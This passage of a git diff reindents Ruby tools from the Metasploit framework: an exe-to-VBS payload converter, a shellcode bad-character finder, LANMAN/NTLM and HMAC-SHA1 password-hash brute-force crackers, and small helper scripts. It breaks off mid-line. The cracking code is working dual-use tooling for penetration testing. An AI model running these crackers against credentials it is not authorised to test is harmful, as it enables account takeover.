$:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) @@ -22,15 +22,15 @@ require 'msf/base' def usage - $stderr.puts(" Usage: #{$0} [exe] [vbs]\n") - exit + $stderr.puts(" Usage: #{$0} [exe] [vbs]\n") + exit end exe = ARGV.shift vbs = ARGV.shift if (not (exe and vbs)) - usage + usage end out = File.new(vbs, "w") @@ -38,7 +38,7 @@ def usage dat = "" while(buf = inp.read(8192)) - dat << buf + dat << buf end out.write(Msf::Util::EXE.to_exe_vbs(dat)) diff --git a/tools/find_badchars.rb b/tools/find_badchars.rb index 661392eb15ff..319e9981eb52 100755 --- a/tools/find_badchars.rb +++ b/tools/find_badchars.rb @@ -10,7 +10,7 @@ msfbase = __FILE__ while File.symlink?(msfbase) - msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) + msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) @@ -24,33 +24,33 @@ OutError = "[-] " $args = Rex::Parser::Arguments.new( - "-b" => [ true, "The list of characters to avoid: '\\x00\\xff'" ], - "-h" => [ false, "Help banner" ], - "-i" => [ true, "Read memory contents from the supplied file path" ], - "-t" => [ true, "The format that the memory contents are in (empty to list)" ]) + "-b" => [ true, "The list of characters to avoid: '\\x00\\xff'" ], + "-h" => [ false, "Help banner" ], + "-i" => [ true, "Read memory contents from the supplied file path" ], + "-t" => [ true, "The format that the memory contents are in (empty to list)" ]) def usage - $stderr.puts("\n" + " Usage: #{File.basename($0)} \n" + $args.usage) - exit + $stderr.puts("\n" + " Usage: #{File.basename($0)} \n" + $args.usage) + exit end def show_format_list - $stderr.puts("Supported formats:\n") - $stderr.puts(" raw raw binary data\n") - $stderr.puts(" windbg output from windbg's \"db\" command\n") - $stderr.puts(" gdb output from gdb's \"x/bx\" command\n") - $stderr.puts(" hex hex bytes like \"\\xFF\\x41\" or \"eb fe\"\n") + $stderr.puts("Supported formats:\n") + $stderr.puts(" raw raw binary data\n") + $stderr.puts(" windbg output from windbg's \"db\" command\n") + $stderr.puts(" gdb output from gdb's \"x/bx\" command\n") + $stderr.puts(" hex hex bytes like \"\\xFF\\x41\" or \"eb fe\"\n") end def debug_buffer(name, buf) - str = "\n#{buf.length} bytes of " - str << name - str += ":" if buf.length > 0 - str += "\n\n" - $stderr.puts str - if buf.length > 0 - $stderr.puts Rex::Text.to_hex_dump(buf) - end + str = "\n#{buf.length} bytes of " + str << name + str += ":" if buf.length > 0 + str += "\n\n" + $stderr.puts str + if buf.length > 0 + $stderr.puts Rex::Text.to_hex_dump(buf) + end end @@ -64,34 +64,34 @@ def debug_buffer(name, buf) # Parse the argument and rock that shit. $args.parse(ARGV) { |opt, idx, val| - case opt - when "-i" - begin - input = File.new(val) - rescue - $stderr.puts(OutError + "Failed to open file #{val}: #{$!}") - exit - end - when "-b" - badchars = Rex::Text.hex_to_raw(val) - when "-t" - if (val =~ /^(raw|windbg|gdb|hex)$/) - fmt = val - else - if val.nil? or val.length < 1 - show_format_list - else - $stderr.puts(OutError + "Invalid format: #{val}") - end - exit - end - when "-h" - usage - end + case opt + when "-i" + begin + input = File.new(val) + rescue + $stderr.puts(OutError + "Failed to open file #{val}: #{$!}") + exit + end + when "-b" + badchars = Rex::Text.hex_to_raw(val) + when "-t" + if (val =~ /^(raw|windbg|gdb|hex)$/) + fmt = val + else + if val.nil? or val.length < 1 + show_format_list + else + $stderr.puts(OutError + "Invalid format: #{val}") + end + exit + end + when "-h" + usage + end } if input == $stdin - $stderr.puts(OutStatus + "Please paste the memory contents in \"" + fmt + "\" format below (end with EOF):\n") + $stderr.puts(OutStatus + "Please paste the memory contents in \"" + fmt + "\" format below (end with EOF):\n") end @@ -104,29 +104,29 @@ def debug_buffer(name, buf) # Process the input from_dbg = input.read case fmt - when "raw" - # this should already be in the correct format :) - - when "windbg" - translated = '' - from_dbg.each_line do |ln| - translated << ln.chomp[10,47].gsub!(/(-| )/, '') - end - from_dbg = Rex::Text.hex_to_raw(translated) - - when "gdb" - translated = '' - from_dbg.each_line do |ln| - translated << ln.chomp.split(':')[1].gsub!(/0x/, '\x').gsub!(/ /, '') - end - from_dbg = Rex::Text.hex_to_raw(translated) - - when "hex" - translated = '' - from_dbg.each_line do |ln| - translated << ln.chomp.gsub!(/ /,'') - end - from_dbg = Rex::Text.hex_to_raw(translated) + when "raw" + # this should already be in the correct format :) + + when "windbg" + translated = '' + from_dbg.each_line do |ln| + translated << ln.chomp[10,47].gsub!(/(-| )/, '') + end + from_dbg = Rex::Text.hex_to_raw(translated) + + when "gdb" + translated = '' + from_dbg.each_line do |ln| + translated << ln.chomp.split(':')[1].gsub!(/0x/, '\x').gsub!(/ /, '') + end + from_dbg = Rex::Text.hex_to_raw(translated) + + when "hex" + translated = '' + from_dbg.each_line do |ln| + translated << ln.chomp.gsub!(/ /,'') + end + from_dbg = Rex::Text.hex_to_raw(translated) end @@ -145,19 +145,19 @@ def debug_buffer(name, buf) minlen = from_msf.length minlen = from_dbg.length if from_dbg.length < minlen (0..(minlen-1)).each do |idx| - ch1 = from_msf[idx] - ch2 = from_dbg[idx] - if ch1 != ch2 - str = "Byte at index 0x%04x differs (0x%02x became 0x%02x)" % [idx, ch1, ch2] - $stderr.puts OutStatus + str - new_badchars << ch1 - end + ch1 = from_msf[idx] + ch2 = from_dbg[idx] + if ch1 != ch2 + str = "Byte at index 0x%04x differs (0x%02x became 0x%02x)" % [idx, ch1, ch2] + $stderr.puts OutStatus + str + new_badchars << ch1 + end end # show the results if new_badchars.length < 1 - $stderr.puts(OutStatus + "All characters matched, no new bad characters discovered.") + $stderr.puts(OutStatus + "All characters matched, no new bad characters discovered.") else - $stderr.puts(OutStatus + "Proposed BadChars: \"" + Rex::Text.to_hex(new_badchars) + "\"") + $stderr.puts(OutStatus + "Proposed BadChars: \"" + Rex::Text.to_hex(new_badchars) + "\"") end diff --git a/tools/halflm_second.rb b/tools/halflm_second.rb index 4e877981cdc2..393158937371 100755 --- a/tools/halflm_second.rb +++ b/tools/halflm_second.rb @@ -12,7 +12,7 @@ msfbase = __FILE__ while File.symlink?(msfbase) - msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) + msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) @@ -23,63 +23,63 @@ require 'rex' def usage - $stderr.puts("\n" + " Usage: #{$0} \n" + $args.usage) - exit + $stderr.puts("\n" + " Usage: #{$0} \n" + $args.usage) + exit end def try(word,challenge) - buf = ::Rex::Proto::NTLM::Crypt.lanman_des(word, challenge) - buf.unpack("H*")[0] + buf = ::Rex::Proto::NTLM::Crypt.lanman_des(word, challenge) + buf.unpack("H*")[0] end hash = pass = chall = nil $args = Rex::Parser::Arguments.new( - "-n" => [ true, "The encypted LM hash to crack" ], - "-p" => [ true, "The decrypted LANMAN password for bytes 1-7" ], - "-s" => [ true, "The server challenge (default value 1122334455667788)" ], - "-h" => [ false, "Display this help information" ]) + "-n" => [ true, "The encypted LM hash to crack" ], + "-p" => [ true, "The decrypted LANMAN password for bytes 1-7" ], + "-s" => [ true, "The server challenge (default value 1122334455667788)" ], + "-h" => [ false, "Display this help information" ]) $args.parse(ARGV) { |opt, idx, val| - case opt - when "-n" - hash = val - when "-p" - pass = val - when "-s" - chall = val - when "-h" - usage - else - usage - end + case opt + when "-n" + hash = val + when "-p" + pass = val + when "-s" + chall = val + when "-h" + usage + else + usage + end } if (not (hash and pass)) - usage + usage end if (not chall) - chall = ["1122334455667788"].pack("H*") + chall = ["1122334455667788"].pack("H*") else - if not chall =~ /^([a-fA-F0-9]{16})$/ - $stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal" - exit - else - chall = [chall].pack("H*") - end + if not chall =~ /^([a-fA-F0-9]{16})$/ + $stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal" + exit + else + chall = [chall].pack("H*") + end end if(hash.length != 48) - $stderr.puts "[*] LANMAN should be exactly 48 bytes of hexadecimal" - exit + $stderr.puts "[*] LANMAN should be exactly 48 bytes of hexadecimal" + exit end if(pass.length != 7) - $stderr.puts "[*] Cracked LANMAN password should be exactly 7 characters" - exit + $stderr.puts "[*] Cracked LANMAN password should be exactly 7 characters" + exit end @@ -92,22 +92,22 @@ def try(word,challenge) stime = Time.now.to_f puts "[*] Trying one character..." 0.upto(cset.length-1) do |c1| - test = pass + cset[c1].chr - if(try(test, chall) == hash) - puts "[*] Cracked: #{test}" - exit - end + test = pass + cset[c1].chr + if(try(test, chall) == hash) + puts "[*] Cracked: #{test}" + exit + end end etime = Time.now.to_f - stime puts "[*] Trying two characters (eta: #{etime * cset.length} seconds)..." 0.upto(cset.length-1) do |c1| 0.upto(cset.length-1) do |c2| - test = pass + cset[c1].chr + cset[c2].chr - if(try(test, chall) == hash) - puts "[*] Cracked: #{test}" - exit - end + test = pass + cset[c1].chr + cset[c2].chr + if(try(test, chall) == hash) + puts "[*] Cracked: #{test}" + exit + end end end @@ -115,11 +115,11 @@ def try(word,challenge) 0.upto(cset.length-1) do |c1| 0.upto(cset.length-1) do |c2| 0.upto(cset.length-1) do |c3| - test = pass + cset[c1].chr + cset[c2].chr + cset[c3].chr - if(try(test, chall) == hash) - puts "[*] Cracked: #{test}" - exit - end + test = pass + cset[c1].chr + cset[c2].chr + cset[c3].chr + if(try(test, chall) == hash) + puts "[*] Cracked: #{test}" + exit + end end end end @@ -130,11 +130,11 @@ def try(word,challenge) 0.upto(cset.length-1) do |c2| 0.upto(cset.length-1) do |c3| 0.upto(cset.length-1) do |c4| - test = pass + cset[c1].chr + cset[c2].chr + cset[c3].chr + cset[c4].chr - if(try(test, chall) == hash) - puts "[*] Cracked: #{test}" - exit - end + test = pass + cset[c1].chr + cset[c2].chr + cset[c3].chr + cset[c4].chr + if(try(test, chall) == hash) + puts "[*] Cracked: #{test}" + exit + end end end end diff --git a/tools/hmac_sha1_crack.rb b/tools/hmac_sha1_crack.rb index 9cab5a991af9..55032893e2e2 100755 --- a/tools/hmac_sha1_crack.rb +++ b/tools/hmac_sha1_crack.rb @@ -12,7 +12,7 @@ msfbase = __FILE__ while File.symlink?(msfbase) - msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) + msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) @@ -25,9 +25,9 @@ require 'openssl' def usage - $stderr.puts("\nUsage: #{$0} hashes.txt \n") - $stderr.puts("The format of hash file is ::\n\n") - exit + $stderr.puts("\nUsage: #{$0} hashes.txt \n") + $stderr.puts("The format of hash file is ::\n\n") + exit end @@ -40,23 +40,23 @@ def usage word_fd = $stdin if word_inp != "-" - word_fd = ::File.open(word_inp, "rb") + word_fd = ::File.open(word_inp, "rb") end hashes = [] hash_fd.each_line do |line| - next unless line.strip.length > 0 - h_id, h_salt, h_hash = line.unpack("C*").pack("C*").strip.split(':', 3) - - unless h_id and h_salt and h_hash - $stderr.puts "[-] Invalid hash entry, missing field: #{line}" - next - end - unless h_salt =~ /^[a-f0-9]+$/i - $stderr.puts "[-] Invalid hash entry, salt must be in hex: #{line}" - next - end - hashes << [h_id, [h_salt].pack("H*"), [h_hash].pack("H*") ] + next unless line.strip.length > 0 + h_id, h_salt, h_hash = line.unpack("C*").pack("C*").strip.split(':', 3) + + unless h_id and h_salt and h_hash + $stderr.puts "[-] Invalid hash entry, missing field: #{line}" + next + end + unless h_salt =~ /^[a-f0-9]+$/i + $stderr.puts "[-] Invalid hash entry, salt must be in hex: #{line}" + next + end + hashes << [h_id, [h_salt].pack("H*"), [h_hash].pack("H*") ] end hash_fd.close @@ -66,23 +66,23 @@ def usage cracked = 0 word_fd.each_line do |line| - # Preferable to strip so we can test passwords made of whitespace (or null) - line = line.unpack("C*").pack("C*").sub(/\r?\n?$/, '') - hashes.each do |hinfo| - if OpenSSL::HMAC.digest('sha1', line.to_s, hinfo[1]) == hinfo[2] - $stdout.puts [ hinfo[0], hinfo[1].unpack("H*").first, hinfo[2].unpack("H*").first, line.to_s ].join(":") - $stdout.flush - hinfo[3] = true - cracked += 1 - end - count += 1 - - if count % 2500000 == 0 - $stderr.puts "[*] Found #{cracked} passwords with #{hashes.length} left (#{(count / (Time.now.to_f - stime)).to_i}/s)" - end - end - hashes.delete_if {|e| e[3] } - break if hashes.length == 0 + # Preferable to strip so we can test passwords made of whitespace (or null) + line = line.unpack("C*").pack("C*").sub(/\r?\n?$/, '') + hashes.each do |hinfo| + if OpenSSL::HMAC.digest('sha1', line.to_s, hinfo[1]) == hinfo[2] + $stdout.puts [ hinfo[0], hinfo[1].unpack("H*").first, hinfo[2].unpack("H*").first, line.to_s ].join(":") + $stdout.flush + hinfo[3] = true + cracked += 1 + end + count += 1 + + if count % 2500000 == 0 + $stderr.puts "[*] Found #{cracked} passwords with #{hashes.length} left (#{(count / (Time.now.to_f - stime)).to_i}/s)" + end + end + hashes.delete_if {|e| e[3] } + break if hashes.length == 0 end word_fd.close diff --git a/tools/import_webscarab.rb b/tools/import_webscarab.rb index 9a8ab88c4984..f68a949c5d77 100755 --- a/tools/import_webscarab.rb +++ b/tools/import_webscarab.rb @@ -16,19 +16,19 @@ puts if ARGV.length < 2 - $stderr.puts("Usage: #{File.basename($0)} wescarabdirectory sqlite3database [target] [startrequest]") - $stderr.puts - $stderr.puts("webscarabdirectory\tThe directory where you stored the webscarab session") - $stderr.puts("sqlite3database\t\tThe name of the database file") - $stderr.puts("target\t\t\tThe target (host or domain) you want to add to the database") - $stderr.puts("startrequest\tThe request to start with...") - $stderr.puts - $stderr.puts("Examples:") - $stderr.puts("#{File.basename($0)} /tmp/savedsession example.db") - $stderr.puts("#{File.basename($0)} /tmp/savedsession example.db www.example.com") - $stderr.puts("#{File.basename($0)} /tmp/savedsession example.db example.com") - $stderr.puts("#{File.basename($0)} /tmp/savedsession example.db www.example.com 21") - exit + $stderr.puts("Usage: #{File.basename($0)} wescarabdirectory sqlite3database [target] [startrequest]") + $stderr.puts + $stderr.puts("webscarabdirectory\tThe directory where you stored the webscarab session") + $stderr.puts("sqlite3database\t\tThe name of the database file") + $stderr.puts("target\t\t\tThe target (host or domain) you want to add to the database") + $stderr.puts("startrequest\tThe request to start with...") + $stderr.puts + $stderr.puts("Examples:") + $stderr.puts("#{File.basename($0)} /tmp/savedsession example.db") + $stderr.puts("#{File.basename($0)} /tmp/savedsession example.db www.example.com") + $stderr.puts("#{File.basename($0)} /tmp/savedsession example.db example.com") + $stderr.puts("#{File.basename($0)} /tmp/savedsession example.db www.example.com 21") + exit end ws_directory = ARGV.shift @@ -38,13 +38,13 @@ # check if we have what we need... if File.exists?(ws_directory+ File::SEPARATOR) == false then - $stderr.puts("ERROR: Can't find webscarab directory #{ws_directory}.") - exit + $stderr.puts("ERROR: Can't find webscarab directory #{ws_directory}.") + exit end if File.file?(db_file) == false then - $stderr.puts("ERROR: Can't find sqlite3 database file #{db_file}.") - exit + $stderr.puts("ERROR: Can't find sqlite3 database file #{db_file}.") + exit end # Prepare the database @@ -53,7 +53,7 @@ # Prepare the insert statement... insert_statement = database.prepare("INSERT INTO requests(host,port,ssl,meth,path,headers,query,body,respcode,resphead,response,created)" + - " VALUES(:host,:port,:ssl,:meth,:path,:headers,:query,:body,:respcode,:resphead,:response,:created)"); + " VALUES(:host,:port,:ssl,:meth,:path,:headers,:query,:body,:respcode,:resphead,:response,:created)"); # target hash -> Resolving dns names is soooo slow, I don't know why. So we use the # following hash as a "micro hosts", so we don't have to call getaddress each time... @@ -62,117 +62,117 @@ # Try to open the conversationlog file File.open("#{ws_directory+File::SEPARATOR}conversationlog", "rb") do |log| - # regulare expressions to extract the stuff that we really need - # i know that the url stuff can be handeled in one request but - # i am toooo lazy... - regex_conversation = /^### Conversation : (\d+)/ - regex_datetime = /^WHEN: (\d+)/ - regex_method = /^METHOD: (\S+)/ - regex_status = /^STATUS: (\d\d\d)/ - regex_url = /^URL: (http|https)?:\/\/(\S+):(\d+)\/([^\?]*)\?*(\S*)/ - - while line = log.gets - if line =~ regex_conversation then - conversation_id = regex_conversation.match(line)[1] - next if conversation_id.to_i < start_id - - # we don't care about scripts, commets - while (line =~ regex_datetime) == nil - line = log.gets - end - - # Add a dot to the timestring so we can convert it more easily - date_time = regex_datetime.match(line)[1] - date_time = Time.at(date_time.insert(-4, '.').to_f) - - method = regex_method.match(log.gets)[1] - - # we don't care about COOKIES - while (line =~ regex_status) == nil - line = log.gets - end - status = regex_status.match(line)[1] - - url_matcher = regex_url.match(log.gets) - - puts "Processing (#{conversation_id}): #{url_matcher[0]}" - - ssl = url_matcher[1] == "https" - host_name = url_matcher[2] - port = url_matcher[3] - path = url_matcher[4].chomp - query = url_matcher[5] - - if host_name.match("#{target}$").nil? == true then - puts("Not the selected target, skipping...") - next - end - - if(target_ips.has_key?(host_name)) then - host = target_ips[host_name] - else - ip = Resolv.getaddress(host_name) - target_ips[host_name] = ip - host = ip - end - - # set the parameters in the insert query - insert_statement.bind_param("host", host) - insert_statement.bind_param("port", port) - insert_statement.bind_param("ssl", ssl) - insert_statement.bind_param("meth", method) - insert_statement.bind_param("path", path) - insert_statement.bind_param("query", query) - insert_statement.bind_param("respcode", status) - insert_statement.bind_param("created", date_time) - insert_statement.bind_param("respcode", status) - - #Open the files with the requests and the responses... - request_filename = "#{ws_directory+File::SEPARATOR}conversations#{File::SEPARATOR+conversation_id}-request" - puts("Reading #{request_filename}") - request_file = File.open(request_filename, "rb") - - # Analyse the request - request_header = "" - request_file.gets # we don't need the return code... - while(request_line = request_file.gets) do - request_header += request_line - break if request_line == "\r\n" - end - - - request_body = "" - while(request_line = request_file.gets) do - request_body += request_line - end - - insert_statement.bind_param("headers", request_header) - insert_statement.bind_param("body", request_body) - - request_file.close() - - response_filename = "#{ws_directory+File::SEPARATOR}conversations#{File::SEPARATOR+conversation_id}-response" - puts("Reading #{response_filename}") - response_file = File.open("#{ws_directory+File::SEPARATOR}conversations#{File::SEPARATOR+conversation_id}-response", "rb") - - # scip the first line - response_file.gets - - # Analyse the response - response_header = "" - while(response_line = response_file.gets) do - response_header += response_line - break if response_line == "\r\n" - end - - response_body = response_file.read - - insert_statement.bind_param("resphead", response_header) - insert_statement.bind_param("response", response_body) - - response_file.close() - - insert_statement.execute() - end - end + # regulare expressions to extract the stuff that we really need + # i know that the url stuff can be handeled in one request but + # i am toooo lazy... + regex_conversation = /^### Conversation : (\d+)/ + regex_datetime = /^WHEN: (\d+)/ + regex_method = /^METHOD: (\S+)/ + regex_status = /^STATUS: (\d\d\d)/ + regex_url = /^URL: (http|https)?:\/\/(\S+):(\d+)\/([^\?]*)\?*(\S*)/ + + while line = log.gets + if line =~ regex_conversation then + conversation_id = regex_conversation.match(line)[1] + next if conversation_id.to_i < start_id + + # we don't care about scripts, commets + while (line =~ regex_datetime) == nil + line = log.gets + end + + # Add a dot to the timestring so we can convert it more easily + date_time = regex_datetime.match(line)[1] + date_time = Time.at(date_time.insert(-4, '.').to_f) + + method = regex_method.match(log.gets)[1] + + # we don't care about COOKIES + while (line =~ regex_status) == nil + line = log.gets + end + status = regex_status.match(line)[1] + + url_matcher = regex_url.match(log.gets) + + puts "Processing (#{conversation_id}): #{url_matcher[0]}" + + ssl = url_matcher[1] == "https" + host_name = url_matcher[2] + port = url_matcher[3] + path = url_matcher[4].chomp + query = url_matcher[5] + + if host_name.match("#{target}$").nil? == true then + puts("Not the selected target, skipping...") + next + end + + if(target_ips.has_key?(host_name)) then + host = target_ips[host_name] + else + ip = Resolv.getaddress(host_name) + target_ips[host_name] = ip + host = ip + end + + # set the parameters in the insert query + insert_statement.bind_param("host", host) + insert_statement.bind_param("port", port) + insert_statement.bind_param("ssl", ssl) + insert_statement.bind_param("meth", method) + insert_statement.bind_param("path", path) + insert_statement.bind_param("query", query) + insert_statement.bind_param("respcode", status) + insert_statement.bind_param("created", date_time) + insert_statement.bind_param("respcode", status) + + #Open the files with the requests and the responses... + request_filename = "#{ws_directory+File::SEPARATOR}conversations#{File::SEPARATOR+conversation_id}-request" + puts("Reading #{request_filename}") + request_file = File.open(request_filename, "rb") + + # Analyse the request + request_header = "" + request_file.gets # we don't need the return code... + while(request_line = request_file.gets) do + request_header += request_line + break if request_line == "\r\n" + end + + + request_body = "" + while(request_line = request_file.gets) do + request_body += request_line + end + + insert_statement.bind_param("headers", request_header) + insert_statement.bind_param("body", request_body) + + request_file.close() + + response_filename = "#{ws_directory+File::SEPARATOR}conversations#{File::SEPARATOR+conversation_id}-response" + puts("Reading #{response_filename}") + response_file = File.open("#{ws_directory+File::SEPARATOR}conversations#{File::SEPARATOR+conversation_id}-response", "rb") + + # scip the first line + response_file.gets + + # Analyse the response + response_header = "" + while(response_line = response_file.gets) do + response_header += response_line + break if response_line == "\r\n" + end + + response_body = response_file.read + + insert_statement.bind_param("resphead", response_header) + insert_statement.bind_param("response", response_body) + + response_file.close() + + insert_statement.execute() + end + end end diff --git a/tools/list_interfaces.rb b/tools/list_interfaces.rb index 34f53de112c7..174b42d73d38 100755 --- a/tools/list_interfaces.rb +++ b/tools/list_interfaces.rb @@ -11,7 +11,7 @@ msfbase = __FILE__ while File.symlink?(msfbase) - msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) + msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) @@ -22,50 +22,50 @@ if RUBY_PLATFORM == "i386-mingw32" - begin - require 'network_interface' - rescue ::Exception => e - $stderr.puts "Error: NetworkInterface is not installed..." - exit - end + begin + require 'network_interface' + rescue ::Exception => e + $stderr.puts "Error: NetworkInterface is not installed..." + exit + end - unless ( - NetworkInterface.respond_to?(:interfaces) and - NetworkInterface.respond_to?(:addresses) and - NetworkInterface.respond_to?(:interface_info) - ) - $stderr.puts "Error: Looks like you are not running the latest version of NetworkInterface" - exit - end - found = false - NetworkInterface.interfaces.each_with_index do |iface, i| - found = true - detail = NetworkInterface.interface_info(iface) - addr = NetworkInterface.addresses(iface) - puts "#" * 70 - puts "" - puts "INDEX : " + (i + 1).to_s - puts "NAME : " + detail["name"] - puts "DESCRIPTION : " + detail["description"] - puts "GUID : " + detail["guid"] - if addr[NetworkInterface::AF_LINK][0]['addr'] - puts "MAC ADDRESS : #{addr[NetworkInterface::AF_LINK][0]['addr']}" - else - puts "MAC ADDRESS : NONE" - end - if addr[NetworkInterface::AF_INET][0]['addr'] and addr[NetworkInterface::AF_INET][0]['netmask'] - puts "IP ADDRESS : #{addr[NetworkInterface::AF_INET][0]['addr']}/#{addr[NetworkInterface::AF_INET][0]['netmask']}" - else - puts "IP ADDRESS : NONE" - end - puts "" - end - if found - puts "#" * 70 - else - $stderr.puts "Error, no network interfaces have been detected" - end + unless ( + NetworkInterface.respond_to?(:interfaces) and + NetworkInterface.respond_to?(:addresses) and + NetworkInterface.respond_to?(:interface_info) + ) + $stderr.puts "Error: Looks like you are not running the latest version of NetworkInterface" + exit + end + found = false + NetworkInterface.interfaces.each_with_index do |iface, i| + found = true + detail = NetworkInterface.interface_info(iface) + addr = NetworkInterface.addresses(iface) + puts "#" * 70 + puts "" + puts "INDEX : " + (i + 1).to_s + puts "NAME : " + detail["name"] + puts "DESCRIPTION : " + detail["description"] + puts "GUID : " + detail["guid"] + if addr[NetworkInterface::AF_LINK][0]['addr'] + puts "MAC ADDRESS : #{addr[NetworkInterface::AF_LINK][0]['addr']}" + else + puts "MAC ADDRESS : NONE" + end + if addr[NetworkInterface::AF_INET][0]['addr'] and addr[NetworkInterface::AF_INET][0]['netmask'] + puts "IP ADDRESS : #{addr[NetworkInterface::AF_INET][0]['addr']}/#{addr[NetworkInterface::AF_INET][0]['netmask']}" + else + puts "IP ADDRESS : NONE" + end + puts "" + end + if found + puts "#" * 70 + else + $stderr.puts "Error, no network interfaces have been detected" + end else - $stderr.puts "Error: This script is useful only on Windows, under other OS just use the built-in commands (ifconfig, ip link show, ...)" - exit + $stderr.puts "Error: This script is useful only on Windows, under other OS just use the built-in commands (ifconfig, ip link show, ...)" + exit end diff --git a/tools/lm2ntcrack.rb b/tools/lm2ntcrack.rb index 9bd1893e423a..7e24904febe9 100755 --- a/tools/lm2ntcrack.rb +++ b/tools/lm2ntcrack.rb @@ -10,7 +10,7 @@ msfbase = __FILE__ while File.symlink?(msfbase) - msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) + msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) @@ -29,849 +29,849 @@ PASS_MODE = 3 def usage - $stderr.puts("\nUsage: #{$0} -t type \n" + $args.usage) - $stderr.puts("This tool can be use in 3 ways whatever type is choosen\n") - $stderr.puts("-If only a password (-p) is provided, it will display the hash.\n") - $stderr.puts("-If a password (-p) and an hash (-a) is provided, it will test the password against the hash.\n") - $stderr.puts("-If a list of password (-l) is provided and an hash (-a), it will try to bruteforce the hash \n\n") - exit + $stderr.puts("\nUsage: #{$0} -t type \n" + $args.usage) + $stderr.puts("This tool can be use in 3 ways whatever type is choosen\n") + $stderr.puts("-If only a password (-p) is provided, it will display the hash.\n") + $stderr.puts("-If a password (-p) and an hash (-a) is provided, it will test the password against the hash.\n") + $stderr.puts("-If a list of password (-l) is provided and an hash (-a), it will try to bruteforce the hash \n\n") + exit end def permute_pw(pw) - # fast permutation from http://stackoverflow.com/a/1398900 - perms = [""] - if pw.nil? - return perms - end - tail = pw.downcase - while tail.length > 0 do - head, tail, psize = tail[0..0], tail[1..-1], perms.size - hu = head.upcase - for i in (0...psize) - tp = perms[i] - perms[i] = tp + hu - if hu != head - perms.push(tp + head) - end - end - end - return perms + # fast permutation from http://stackoverflow.com/a/1398900 + perms = [""] + if pw.nil? + return perms + end + tail = pw.downcase + while tail.length > 0 do + head, tail, psize = tail[0..0], tail[1..-1], perms.size + hu = head.upcase + for i in (0...psize) + tp = perms[i] + perms[i] = tp + hu + if hu != head + perms.push(tp + head) + end + end + end + return perms end type = hash = pass = srvchal = clichal = calculatedhash = list = user = domain = nil $args = Rex::Parser::Arguments.new( - "-t" => [ true, "The type of hash to crack : HALFLM/LM/NTLM/HALFNETLMv1/NETLMv1/NETNTLMv1/NETNTLM2_SESSION/NETLMv2/NETNTLMv2" ], - "-a" => [ true, "The hash to crack" ], - "-p" => [ true, "The password " ], - "-l" => [ true, "The list of password to check against an hash" ], - "-s" => [ true, "The LM/NTLM Server Challenge (NET* type only)" ], - "-c" => [ true, "The LM/NTLM Client Challenge (NETNTLM2_SESSION/NETLMv2/NETNTLMv2/ type only)" ], - "-u" => [ true, "The user name (NETLMv2/NETNTLMv2 type only)" ], - "-d" => [ true, "The domain (machine) name (NETLMv2/NETNTLMv2 type only)" ], - "-h" => [ false, "Display this help information" ]) + "-t" => [ true, "The type of hash to crack : HALFLM/LM/NTLM/HALFNETLMv1/NETLMv1/NETNTLMv1/NETNTLM2_SESSION/NETLMv2/NETNTLMv2" ], + "-a" => [ true, "The hash to crack" ], + "-p" => [ true, "The password " ], + "-l" => [ true, "The list of password to check against an hash" ], + "-s" => [ true, "The LM/NTLM Server Challenge (NET* type only)" ], + "-c" => [ true, "The LM/NTLM Client Challenge (NETNTLM2_SESSION/NETLMv2/NETNTLMv2/ type only)" ], + "-u" => [ true, "The user name (NETLMv2/NETNTLMv2 type only)" ], + "-d" => [ true, "The domain (machine) name (NETLMv2/NETNTLMv2 type only)" ], + "-h" => [ false, "Display this help information" ]) $args.parse(ARGV) { |opt, idx, val| - case opt - when "-t" - type = val - when "-a" - hash = val - when "-p" - pass = val - when "-l" - list = val - when "-s" - srvchal = val - when "-c" - clichal = val - when "-u" - user = val - when "-d" - domain = val - when "-h" - usage - else - usage - end + case opt + when "-t" + type = val + when "-a" + hash = val + when "-p" + pass = val + when "-l" + list = val + when "-s" + srvchal = val + when "-c" + clichal = val + when "-u" + user = val + when "-d" + domain = val + when "-h" + usage + else + usage + end } if not type - usage + usage else - if pass and (not (hash or list)) - mode = HASH_MODE - elsif pass and hash and not list - mode = PASS_MODE - elsif list and hash and not pass - mode = BRUTE_MODE - if not File.exist? list - $stderr.puts "[*] The passwords list file does not exist" - exit - end - if not File.file? list - $stderr.puts "[*] The passwords list provided is not a file" - exit - end - if not File.readable? list - $stderr.puts "[*] The passwords list file is not readable" - exit - end - else - usage - end + if pass and (not (hash or list)) + mode = HASH_MODE + elsif pass and hash and not list + mode = PASS_MODE + elsif list and hash and not pass + mode = BRUTE_MODE + if not File.exist? list + $stderr.puts "[*] The passwords list file does not exist" + exit + end + if not File.file? list + $stderr.puts "[*] The passwords list provided is not a file" + exit + end + if not File.readable? list + $stderr.puts "[*] The passwords list file is not readable" + exit + end + else + usage + end end if type == "HALFLM" or type == "LM" or type == "NTLM" then - if srvchal != nil or clichal != nil or user != nil or domain != nil then - $stderr.puts "[*] No challenge, user or domain must be provided with this type" - exit - end + if srvchal != nil or clichal != nil or user != nil or domain != nil then + $stderr.puts "[*] No challenge, user or domain must be provided with this type" + exit + end elsif type == "HALFNETLMv1" or type == "NETLMv1" or type == "NETNTLMv1" then - if clichal != nil or user != nil or domain != nil then - $stderr.puts "[*] Client challenge, user or domain must not be provided with this type" - exit - end + if clichal != nil or user != nil or domain != nil then + $stderr.puts "[*] Client challenge, user or domain must not be provided with this type" + exit + end elsif type == "NETNTLM2_SESSION" then - if user != nil or domain != nil then - $stderr.puts "[*] User or domain must not be provided with this type" - exit - end + if user != nil or domain != nil then + $stderr.puts 